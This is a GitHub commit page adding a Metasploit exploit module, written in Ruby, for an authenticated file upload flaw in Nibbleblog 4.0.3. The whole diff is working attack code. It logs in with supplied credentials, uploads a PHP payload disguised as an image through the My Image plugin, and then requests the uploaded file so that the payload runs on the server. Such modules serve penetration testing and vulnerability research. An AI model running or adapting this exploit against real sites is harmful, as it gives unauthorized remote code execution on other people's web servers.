Skip to content

Commit c399d7e

Browse files
committed
Land rapid7#5959, Add Nibbleblog File Upload Vuln
2 parents 2036699 + 9666660 commit c399d7e

File tree

1 file changed

+160
-0
lines changed

1 file changed

+160
-0
lines changed
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'Nibbleblog File Upload Vulnerability',
18+
'Description' => %q{
19+
Nibbleblog contains a flaw that allows a authenticated remote
20+
attacker to execute arbitrary PHP code. This module was
21+
tested on version 4.0.3.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
27+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
28+
],
29+
'References' =>
30+
[
31+
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
32+
],
33+
'DisclosureDate' => 'Sep 01 2015',
34+
'Platform' => 'php',
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Nibbleblog 4.0.3', {}]],
37+
'DefaultTarget' => 0
38+
))
39+
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
43+
OptString.new('USERNAME', [true, 'The username to authenticate with']),
44+
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
45+
], self.class)
46+
end
47+
48+
def username
49+
datastore['USERNAME']
50+
end
51+
52+
def password
53+
datastore['PASSWORD']
54+
end
55+
56+
def check
57+
cookie = do_login(username, password)
58+
return Exploit::CheckCode::Detected unless cookie
59+
60+
res = send_request_cgi(
61+
'method' => 'GET',
62+
'uri' => normalize_uri(target_uri.path, 'admin.php'),
63+
'cookie' => cookie,
64+
'vars_get' => {
65+
'controller' => 'settings',
66+
'action' => 'general'
67+
}
68+
)
69+
70+
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
71+
return Exploit::CheckCode::Appears
72+
end
73+
Exploit::CheckCode::Safe
74+
end
75+
76+
def do_login(user, pass)
77+
res = send_request_cgi(
78+
'method' => 'GET',
79+
'uri' => normalize_uri(target_uri.path, 'admin.php')
80+
)
81+
82+
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
83+
84+
session_cookie = res.get_cookies
85+
vprint_status("#{peer} - Logging in...")
86+
res = send_request_cgi(
87+
'method' => 'POST',
88+
'uri' => normalize_uri(target_uri.path, 'admin.php'),
89+
'cookie' => session_cookie,
90+
'vars_post' => {
91+
'username' => user,
92+
'password' => pass
93+
}
94+
)
95+
96+
return session_cookie if res && res.code == 302 && res.headers['Location']
97+
nil
98+
end
99+
100+
def exploit
101+
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
102+
print_error("Target does not appear to be vulnerable.")
103+
return
104+
end
105+
106+
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
107+
108+
cookie = do_login(username, password)
109+
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
110+
vprint_good("#{peer} - Authenticated with Nibbleblog.")
111+
112+
vprint_status("#{peer} - Preparing payload...")
113+
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
114+
115+
data = Rex::MIME::Message.new
116+
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
117+
data.add_part('My image', nil, nil, 'form-data; name="title"')
118+
data.add_part('4', nil, nil, 'form-data; name="position"')
119+
data.add_part('', nil, nil, 'form-data; name="caption"')
120+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
121+
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
122+
data.add_part('230', nil, nil, 'form-data; name="image_width"')
123+
data.add_part('200', nil, nil, 'form-data; name="image_height"')
124+
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
125+
post_data = data.to_s
126+
127+
vprint_status("#{peer} - Uploading payload...")
128+
res = send_request_cgi(
129+
'method' => 'POST',
130+
'uri' => normalize_uri(target_uri, 'admin.php'),
131+
'vars_get' => {
132+
'controller' => 'plugins',
133+
'action' => 'config',
134+
'plugin' => 'my_image'
135+
},
136+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
137+
'data' => post_data,
138+
'cookie' => cookie
139+
)
140+
141+
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
142+
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
143+
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
144+
fail_with(Failure::Unknown, 'Unable to upload payload.')
145+
end
146+
147+
vprint_good("#{peer} - Uploaded the payload.")
148+
149+
php_fname = 'image.php'
150+
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
151+
vprint_status("#{peer} - Parsed response.")
152+
153+
register_files_for_cleanup(php_fname)
154+
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
155+
send_request_cgi(
156+
'uri' => payload_url,
157+
'method' => 'GET'
158+
)
159+
end
160+
end

0 commit comments

Comments
 (0)